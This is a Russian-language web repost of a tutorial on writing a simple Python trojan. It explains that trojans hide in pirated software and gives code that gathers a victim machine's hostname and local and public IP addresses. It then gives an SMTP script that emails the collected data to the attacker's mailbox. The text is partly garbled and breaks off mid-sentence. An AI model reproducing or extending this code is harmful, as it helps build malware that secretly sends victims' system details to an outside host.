Категория > Новости > Крадущийся питон. Создаем простейший троян на Python - «Новости»
Крадущийся питон. Создаем простейший троян на Python - «Новости»16-02-2021, 00:00. Автор: Ангелина |
Ядовитый питон. Пишем на Python простейшую малварь: локер, шифровальщик и вирус».ТеорияИтак, что вообще такое троян? Вирус — это программа, главная задача которой — самокопирование. Червь активно распространяется по сети (типичный пример — «Петя» и WannaCry), а троян — скрытая вредоносная программа, которая маскируется под «хороший» софт. Логика подобного заражения в том, что пользователь сам скачает себе вредонос на компьютер (например, под видом крякнутой программы), сам отключит защитные механизмы (ведь программа выглядит хорошей) и захочет оставить надолго. Хакеры и тут не дремлют, так что в новостях то и дело мелькают сообщения о новых жертвах пиратского ПО и о шифровальщиках, поражающих любителей халявы. Но мы‑то знаем, что бесплатный сыр бывает только в мусорке, и сегодня научимся очень просто начинять тот самый сыр чем‑то не вполне ожидаемым. warningВся информация предоставлена исключительно в ознакомительных целях. Ни автор, ни редакция не несут ответственности за любой возможный вред, причиненный материалами данной статьи. Несанкционированный доступ к информации и нарушение работы систем могут преследоваться по закону. Помни об этом. Определяем IPСначала нам (то есть нашему трояну) нужно определиться, где он оказался. Важная часть твоей информации — IP-адрес, по которому с зараженной машиной можно будет соединиться в дальнейшем. Начнем писать код. Сразу импортируем библиотеки:
import socket
from requests import get
Обе библиотеки не поставляются с Python, поэтому, если они у тебя отсутствуют, их нужно установить командой
pip install socket
pip install requests
infoЕсли ты видишь ошибку, что у тебя отсутствует pip, сначала нужно установить его с сайта pypi.org. Любопытно, что рекомендуемый способ установки pip — через pip, что, конечно, очень полезно, когда его нет. Код получения внешнего и внутреннего адресов будет таким. Обрати внимание, что, если у жертвы несколько сетевых интерфейсов (например, Wi-Fi и Ethernet одновременно), этот код может вести себя неправильно.
# Определяем имя устройства в сети
hostname = socket.gethostname()
# Определяем локальный (внутри сети) IP-адрес
local_ip = socket.gethostbyname(hostname)
# Определяем глобальный (публичный / в интернете) IP-адрес
public_ip = get('http://api.ipify.org').text
Если с локальным адресом все более‑менее просто — находим имя устройства в сети и смотрим IP по имени устройства, — то вот с публичным IP все немного сложнее. Я выбрал сайт Вывести информацию еще проще:
print(f'Хост:{hostname}')
print(f'Локальный IP:{local_ip}')
print(f'Публичный IP:{public_ip}')
Никогда не встречал конструкции типа infoСтроковые литералы не только хорошо смотрятся в коде, но и помогают избегать ошибок типа сложения строк и чисел (Python — это тебе на jаvascript!). Финальный код:
import socket
from requests import get
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
public_ip = get('http://api.ipify.org').text
print(f'Хост:{hostname}')
print(f'Локальный IP:{local_ip}')
print(f'Публичный IP:{public_ip}')
Запустив этот скрипт, мы сможем определить IP-адрес нашего (или чужого) компьютера. Бэкконнект по почтеТеперь напишем скрипт, который будет присылать нам письмо. Импорт новых библиотек (обе нужно предварительно поставить через
import smtplib as smtp
from getpass import getpass
Пишем базовую информацию о себе:
# Почта, с которой будет отправлено письмо
email = 'xakepmail@yandex.ru'
# Пароль от нее (вместо ***)
password = '***'
# Почта, на которую отправляем письмо
dest_email = 'demo@xakep.ru'
# Тема письма
subject = 'IP'
# Текст письма
email_text = 'TEXT'
Дальше сформируем письмо:
Последний штрих — настроить подключение к почтовому сервису. Я пользуюсь Яндекс.Почтой, поэтому настройки выставлял для нее.
server = smtp.SMTP_SSL('smtp.yandex.com') # SMTP-сервер Яндекса
server.set_debuglevel(1) # Минимизируем вывод ошибок (выводим только фатальные ошибки)
server.ehlo(email) # Отправляем hello-пакет на сервер
server.login(email, password) # Заходим на почту, с которой будем отправлять письмо
server.auth_plain() # Авторизуемся
server.sendmail(email, dest_email, message) # Вводим данные для отправки (адреса свой и получателя и само сообщение)
server.quit() # Отключаемся от сервера
В строке Перейти обратно к новости |